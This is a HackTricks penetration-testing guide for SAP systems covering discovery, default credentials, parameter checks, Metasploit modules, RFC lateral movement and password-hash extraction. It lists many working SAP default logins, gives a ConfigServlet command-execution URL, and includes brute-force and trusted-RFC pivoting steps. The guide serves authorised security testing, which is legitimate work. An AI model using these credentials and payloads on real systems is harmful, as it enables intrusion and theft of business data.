pentesting-sap.md (33222B)
1 --- 2 title: "Pentesting SAP" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-sap.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-sap.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Pentesting SAP 14 15 ## SAP overview 16 17 SAP stands for Systems, Applications, and Products in Data Processing. SAP is both the name of the company and its enterprise resource planning (ERP) software. 18 SAP systems consist of fully integrated modules that cover virtually every aspect of business management. 19 20 Each SAP instance (or SID) has three layers: database, application, and presentation. A typical landscape has development, test, quality-assurance, and production systems. 21 Each layer exposes attack surface, but compromising the database can have the greatest impact.<sup>[[8]](#references)</sup> 22 23 Each SAP instance is divided into clients. Each client has a `SAP*` user, which is the application's equivalent of a superuser. 24 On older installations, this user initially received the default password `06071992`; additional default credentials are listed below. Always test default credentials only within the authorized scope.<sup>[[3]](#references)</sup> 25 26 Where permitted, test access to the server shell with the username `<SID>adm`. 27 Password guessing may help, but account-lockout controls may be enabled.<sup>[[8]](#references)</sup> 28 29 ## Discovery 30 31 > Next section is mostly from [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) from user shipcod3!<sup>[[9]](#references)</sup> 32 33 - Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI. 34 - Use OSINT \(open source intelligence\), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public: 35 36 ```text 37 inurl:50000/irj/portal 38 inurl:IciEventService/IciEventConf 39 inurl:/wsnavigator/jsps/test.jsp 40 inurl:/irj/go/km/docs/ 41 https://www.shodan.io/search?query=sap+portal 42 https://www.shodan.io/search?query=SAP+Netweaver 43 https://www.shodan.io/search?query=SAP+J2EE+Engine 44 ``` 45 46 - Here is what [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) looks like 47 48  49 50 - Use Nmap to check for open ports and known services (SAProuter, Web Dynpro, web services, web servers, etc.). 51 - Map instance numbers from open ports before logging in. Useful patterns during enumeration: `32<NR>` \(dispatcher\), `33<NR>` \(gateway\), `5<NR>13` / `5<NR>14` \(sapstartsrv / sapcontrol\), and SAP Host Agent on `1128`/`1129` \(HTTP/HTTPS SOAP\). This quickly tells you which instance number \(`NR`\) to reuse in SAP GUI, RFC, or Metasploit modules. 52 - If you find a reachable SAProuter, keep the deep-dive in the dedicated page and use it for pivoting instead of duplicating tests here: 53 54 [3299 Pentesting Saprouter](/hacktricks/network-services-pentesting/3299-pentesting-saprouter) 55 - Crawl the URLs if there is a web server running. 56 - Fuzz the directories \(you can use Burp Intruder\) if it has web servers on certain ports. Here are some good wordlists provided by the SecLists Project for finding default SAP ICM Paths and other interesting directories or files: 57 58 [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) 59 [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) 60 [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) 61 62 - Use the SAP SERVICE DISCOVERY auxiliary Metasploit module for enumerating SAP instances/services/components: 63 64 ```text 65 msf > use auxiliary/scanner/sap/sap_service_discovery 66 msf auxiliary(sap_service_discovery) > show options 67 Module options (auxiliary/scanner/sap/sap_service_discovery): 68 Name Current Setting Required Description 69 ---- --------------- -------- ----------- 70 CONCURRENCY 10 yes The number of concurrent ports to check per host 71 INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99) 72 RHOSTS yes The target address range or CIDR identifier 73 THREADS 1 yes The number of concurrent threads 74 TIMEOUT 1000 yes The socket connect timeout in milliseconds 75 msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101 76 rhosts => 192.168.96.101 77 msf auxiliary(sap_service_discovery) > run 78 [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' 79 ``` 80 81 ### Testing the Thick Client / SAP GUI 82 83 Here is the command to connect to SAP GUI 84 `sapgui <sap server hostname> <system number>` 85 86 - Check for default credentials (Bugcrowd's Vulnerability Rating Taxonomy classifies production-server default credentials as P1 → Server Security Misconfiguration | Using Default Credentials | Production Server):<sup>[[3]](#references)</sup> 87 88 ```text 89 # SAP* - High privileges - Hardcoded kernel user 90 SAP*:06071992:* 91 SAP*:PASS:* 92 # IDEADM - High Privileges - Only in IDES systems 93 IDEADM:admin:* 94 # DDIC - High privileges - User has SAP_ALL 95 DDIC:19920706:000,001 96 # EARLYWATCH - High privileges 97 EARLYWATCH:SUPPORT:066 98 # TMSADM - Medium privileges 99 TMSADM:PASSWORD:000 100 TMSADM:$1Pawd2&:000 101 # SAPCPIC - Medium privileges 102 SAPCPIC:ADMIN:000,001 103 # SOLMAN dialog default users and passwords. 104 # For more info check: 105 # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf 106 # https://launchpad.support.sap.com/#/notes/2293011 107 # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems 108 SOLMAN_ADMIN:init1234:* 109 # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems 110 SAPSUPPORT:init1234:* 111 # SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems 112 #SOLMAN<SID><CLNT>:init1234:* 113 # Trial systems 114 # ------------- 115 # AS ABAP 7.40 SP08 Developer Edition: 116 # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ 117 DDIC:DidNPLpw2014:001 118 SAP*:DidNPLpw2014:001 119 DEVELOPER:abCd1234:001 120 BWDEVELOPER:abCd1234:001 121 # AS ABAP 7.50 SP02 Developer Edition: 122 # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ 123 # AS ABAP 7.51 SP02 Developer Edition: 124 # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ 125 DDIC:Appl1ance:000,001 126 SAP*:Appl1ance:000,001 127 DEVELOPER:Appl1ance:001 128 BWDEVELOPER:Appl1ance:001 129 # AS ABAP 7.51 SP01 Developer Edition: 130 # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ 131 # AS ABAP 7.52 SP04 Developer Edition: 132 # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ 133 DDIC:Down1oad:000,001 134 SAP*:Down1oad:000,001 135 DEVELOPER:Down1oad:001 136 BWDEVELOPER:Down1oad:001 137 ``` 138 139 - Run Wireshark then authenticate to the client \(SAP GUI\) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center. 140 - Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users:<sup>[[4]](#references)</sup> 141 - SU01 - To create and maintain the users 142 - SU01D - To Display Users 143 - SU10 - For mass maintenance 144 - SU02 - For Manual creation of profiles 145 - SM19 - Security audit - configuration 146 - SE84 - Information System for SAP R/3 Authorizations 147 - Check if you can execute system commands / run scripts in the client. 148 - Check if you can do XSS on BAPI Explorer 149 150 ## Testing the web interface 151 152 - Crawl the URLs \(see discovery phase\). 153 - Fuzz the URLs like in the discovery phase. Here is what [http://SAP:50000/index.html](http://sap:50000/index.html) looks like: 154 155  156 157 - Look for common web vulnerabilities \(Refer to OWASP Top 10\) because there are XSS, RCE, XXE, etc. vulnerabilities in some places. 158 - Enumerate SAP Host Agent / `sapstartsrv` endpoints if `1128`, `1129`, or `5<NR>13`/`5<NR>14` are reachable. Useful unauthenticated checks are `GET /SAPHostControl/?wsdl`, `GET /SAPControl/?wsdl`, and `GetComputerSystem`, because exposed SOAP methods often reveal hostname, OS, database, installed instances, and network interfaces. 159 - If `/sap/public/info` is reachable, compare the disclosed `RFCSYSID`, `RFCSAPRL`, `RFCDBSYS`, kernel release, and IP data with Host Agent / `sapcontrol` output to build a more complete attack graph before attempting login or RFC abuse. 160 - Treat SAP Web Dispatcher / ICM like any other reverse proxy and test parsing edge cases \(verb tampering, path normalization, front-end/back-end desync behaviour, request smuggling on legacy stacks\) in addition to classic web bugs. 161 - Check out Jason Haddix’s [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) for testing web vulnerabilities. 162 - Auth Bypass via verb Tampering? Maybe :\) 163 - Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)<sup>[[5]](#references)</sup> 164 - Are credentials submitted over HTTP? If so, Bugcrowd's [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) classifies this as P3: Broken Authentication and Session Management | Weak Login Function Over HTTP. Also check [http://SAP:50000/startPage](http://sap:50000/startPage) and the logon portals. 165 166  167 168 - Try `/irj/go/km/navigation/` for possible directory listing or authentication bypass 169 - [http://SAP/sap/public/info](http://sap/sap/public/info) contains some juicy information: 170 171 ```xml 172 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> 173 <SOAP-ENV:Body> 174 <rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions"> 175 <RFCSI> 176 <RFCPROTO>011</RFCPROTO> 177 <RFCCHARTYP>4102</RFCCHARTYP> 178 <RFCINTTYP>BIG</RFCINTTYP> 179 <RFCFLOTYP>IE3</RFCFLOTYP> 180 <RFCDEST>randomnum</RFCDEST> 181 <RFCHOST>randomnum</RFCHOST> 182 <RFCSYSID>BRQ</RFCSYSID> 183 <RFCDATABS>BRQ</RFCDATABS> 184 <RFCDBHOST>randomnum</RFCDBHOST> 185 <RFCDBSYS>ORACLE</RFCDBSYS> 186 <RFCSAPRL>740</RFCSAPRL> 187 <RFCMACH>324</RFCMACH> 188 <RFCOPSYS>AIX</RFCOPSYS> 189 <RFCTZONE>-25200</RFCTZONE> 190 <RFCDAYST/> 191 <RFCIPADDR>192.168.1.8</RFCIPADDR> 192 <RFCKERNRL>749</RFCKERNRL> 193 <RFCHOST2>randomnum</RFCHOST2> 194 <RFCSI_RESV/> 195 <RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR> 196 </RFCSI> 197 </rfc:RFC_SYSTEM_INFO.Response> 198 </SOAP-ENV:Body> 199 </SOAP-ENV:Envelope> 200 ``` 201 202 ## Configuration Parameters 203 204 If you have valid credentials or have logged in to SAP GUI during the assessment, you can inspect parameter values. Unsafe values in standard or custom parameters may constitute security findings.<sup>[[6]](#references)</sup> 205 206 You can check parameter values both manually and automatically, using scripts (e.g. [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)). 207 208 ### Manual Parameter Checking 209 210 By navigating to Transaction Code `RSPFPAR`, you can query different parameters and look up their values. 211 212 The table below contains the defined parameters and the conditions for which they are distinguished. 213 214 For example, treat `gw/reg_no_conn_info` below 255 (`<255`) as a potential threat. Likewise, an `icm/security_log` value of two (`2`) may indicate an unsafe configuration. 215 216 | Parameter | Constraint | Description | 217 | --------------------------------------------- | ---------- | ----------------------------------------------------------------------------- | 218 | `auth/object_disabling_active` | `Y` | Indicates if object disabling is active. | 219 | `auth/rfc_authority_check` | `<2` | Sets the authority check level for RFCs. | 220 | `auth/no_check_in_some_cases` | `Y` | Specifies whether checks are bypassed in some cases. | 221 | `bdc/bdel_auth_check` | `FALSE` | Determines if authorization checks are enforced in BDC. | 222 | `gw/reg_no_conn_info` | `<255` | Limits the number of characters for registration number connection info. | 223 | `icm/security_log` | `2` | Defines the security log level for ICM (Internet Communication Manager). | 224 | `icm/server_port_0` | `Display` | Specifies the server port for ICM (port 0). | 225 | `icm/server_port_1` | `Display` | Specifies the server port for ICM (port 1). | 226 | `icm/server_port_2` | `Display` | Specifies the server port for ICM (port 2). | 227 | `login/password_compliance_to_current_policy` | `0` | Enforces password compliance with the current policy. | 228 | `login/no_automatic_user_sapstar` | `0` | Disables automatic user SAPSTAR assignment. | 229 | `login/min_password_specials` | `0` | Minimum number of special characters required in passwords. | 230 | `login/min_password_lng` | `<8` | Minimum length required for passwords. | 231 | `login/min_password_lowercase` | `0` | Minimum number of lowercase letters required in passwords. | 232 | `login/min_password_uppercase` | `0` | Minimum number of uppercase letters required in passwords. | 233 | `login/min_password_digits` | `0` | Minimum number of digits required in passwords. | 234 | `login/min_password_letters` | `1` | Minimum number of letters required in passwords. | 235 | `login/fails_to_user_lock` | `<5` | Number of failed login attempts before locking the user account. | 236 | `login/password_expiration_time` | `>90` | Password expiration time in days. | 237 | `login/password_max_idle_initial` | `<14` | Maximum idle time in minutes before requiring password re-entry (initial). | 238 | `login/password_max_idle_productive` | `<180` | Maximum idle time in minutes before requiring password re-entry (productive). | 239 | `login/password_downwards_compatibility` | `0` | Specifies if downward compatibility for passwords is enabled. | 240 | `rfc/reject_expired_passwd` | `0` | Determines if expired passwords are rejected for RFC (Remote Function Calls). | 241 | `rsau/enable` | `0` | Enables or disables RS AU (Authorization) checks. | 242 | `rdisp/gui_auto_logout` | `<5` | Specifies the time in minutes before automatic logout of GUI sessions. | 243 | `service/protectedwebmethods` | `SDEFAULT` | Specifies the default settings for protected web methods. | 244 | `snc/enable` | `0` | Enables or disables Secure Network Communication (SNC). | 245 | `ucon/rfc/active` | `0` | Activates or deactivates UCON (Unified Connectivity) RFCs. | 246 247 ### Script for Parameter Checking 248 249 Because there are many parameters, you can export them to an XML file and use [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV) to check the values and highlight relevant findings. 250 251 ```text 252 ./SAPPV.sh EXPORT.XML 253 254 Parameter: auth/no_check_in_some_cases 255 User-Defined Value: No data 256 System Default Value: Y 257 Comment: Activation of the Profile Generator 258 Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases" 259 260 Parameter: auth/object_disabling_active 261 User-Defined Value: N 262 System Default Value: N 263 Comment: Value 'N' prohibits disabling of authorization objects 264 Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active" 265 266 Parameter: auth/rfc_authority_check 267 User-Defined Value: 6 268 System Default Value: 6 269 Comment: Execution option for the RFC authority check 270 Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check" 271 272 Parameter: bdc/bdel_auth_check 273 User-Defined Value: No data 274 System Default Value: FALSE 275 Comment: batch-input: check authorisation for activity DELE when delete TA 276 Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check" 277 278 [...] 279 ``` 280 281 ## Attack! 282 283 - Check if it runs on old servers or technologies like Windows 2000. 284 - Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery \(auxiliary modules\) and exploits:<sup>[[1]](#references)</sup> 285 286 ```text 287 msf > search sap 288 Matching Modules 289 ================ 290 Name Disclosure Date Rank Description 291 ---- --------------- ---- ----------- 292 auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection 293 auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution 294 auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute 295 auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion 296 auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS 297 auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS 298 auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer 299 auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer 300 auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration 301 auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection 302 auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management 303 auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure 304 auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering 305 auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner 306 auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure 307 auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force 308 auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users 309 auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points 310 auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment 311 auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile 312 auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList 313 auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters 314 auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties 315 auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles 316 auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile 317 auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection 318 auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request 319 auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner 320 auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery 321 auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse 322 auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation 323 auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer 324 auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection 325 auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection 326 auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure 327 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check 328 auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery 329 auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data 330 auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing 331 auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation 332 auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution 333 auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE 334 auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering 335 auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure 336 auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer 337 exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution 338 exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution 339 exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution 340 exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download 341 exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow 342 exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow 343 exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution 344 exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection 345 exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow 346 exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow 347 exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow 348 exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow 349 ``` 350 351 ### RFC Abuse & Lateral Movement 352 353 - Check transaction `SM59` for stored credentials, trusted RFC destinations, and destinations with overly broad technical users. A compromise in a lower-tier SAP system is often enough to pivot to a better-trusted one if operators kept RFC trust relationships for transport, monitoring, or integrations.<sup>[[10]](#references)</sup> 354 - Review whether remote-enabled function modules can be abused from the connector you reached. Historically interesting examples for post-auth testing are `RFC_READ_TABLE` \(data extraction\), `RFC_PING` \(service discovery / callback testing\), and command-execution primitives such as `SXPG_CALL_SYSTEM` or `SXPG_COMMAND_EXECUTE` when the target user is over-privileged. 355 - Test RFC callback behaviour when you control one side of a trust relationship. Callback abuse matters because a destination can allow a benign function call but still execute attacker-controlled callback functions on the caller side if callback restrictions are weak or disabled. In practice, validate whether the destination has an active allowlist and whether `rfc/callback_security_method` is enforcing it.<sup>[[11]](#references)</sup> 356 - If you gain access to one SAP system, try a trusted RFC jump from `SM59`: using the same admin identifier in the already-compromised source system can let you open the trusting target directly with the remote user's privileges. This is especially relevant in landscapes where SolMan, BW, PI/PO, or transport systems maintain long-lived trusted links. 357 358 ### Legacy SAP AS Java UME password hashes 359 360 With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.<sup>[[12]](#references)</sup> 361 362 - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: 363 364 ```text 365 http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a 366 ``` 367 368  369 370 - Before running the `start` command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:<sup>[[2]](#references)[[7]](#references)</sup> 371 372 ```text 373 bizploit> plugins 374 bizploit/plugins> vulnassess all 375 bizploit/plugins> vulnassess config bruteLogin 376 bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers 377 bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True 378 bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True 379 bizploit/plugins/vulnassess/config:bruteLogin> back 380 bizploit/plugins> vulnassess config registerExtServer 381 bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw 382 bizploit/plugins/vulnassess/config:registerExtServer> back 383 bizploit/plugins> vulnassess config checkRFCPrivs 384 bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True 385 bizploit/plugins/vulnassess/config:checkRFCPrivs> back 386 bizploit/plugins> vulnassess config icmAdmin 387 bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin 388 bizploit/plugins/vulnassess/config:icmAdmin> back 389 bizploit/plugins> start 390 bizploit/plugins> back 391 bizploit> start 392 ``` 393 394 ## Other Useful Tools for Testing 395 396 - [PowerSAP](https://github.com/airbus-seclab/powersap) - PowerShell tool for assessing SAP security 397 - [Burp Suite](https://portswigger.net/burp) - a must have for directory fuzzing and web security assessments 398 - [pysap](https://github.com/OWASP/pysap) - actively maintained Python library to craft SAP NI, Router, Diag, RFC, SNC, HDB and related packets; useful for custom protocol work and SAProuter pivoting 399 - [SAPPV](https://github.com/damianStrojek/SAPPV) - lightweight validator for exported `RSPFPAR` XML parameter dumps 400 - [ERPScan / gelim nmap-erpscan scripts](https://github.com/gelim/nmap-erpscan) - extra Nmap probes and NSE scripts for SAP / ERP discovery 401 402 ## References 403 404 - [1] [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) 405 - [2] [SAP-Stuff - a script to semi-automate Bizploit](https://github.com/davehardy20/SAP-Stuff) 406 - [3] [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) 407 - [4] [List of ABAP-transaction codes related to SAP security](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) 408 - [5] [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) 409 - [6] [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) 410 - [7] [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) 411 - [8] [Pentesting SAP applications: An introduction](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) 412 - [9] [mySapAdventures - a methodology on testing/hacking SAP applications](https://github.com/shipcod3/mySapAdventures) 413 - [10] [SAP Remote Function Call \(RFC\) Vulnerabilities in 2023](https://onapsis.com/blog/sap-remote-function-call-vulnerabilities-in-2023/) 414 - [11] [The Risks of SAP RFC Callbacks and How to Avoid Them](https://onapsis.com/blog/risks-sap-rfc-callbacks-and-how-avoid-them/) 415 - [12] [SAP password storage internals (SecStore / UME)](https://www.exploit-db.com/docs/43859)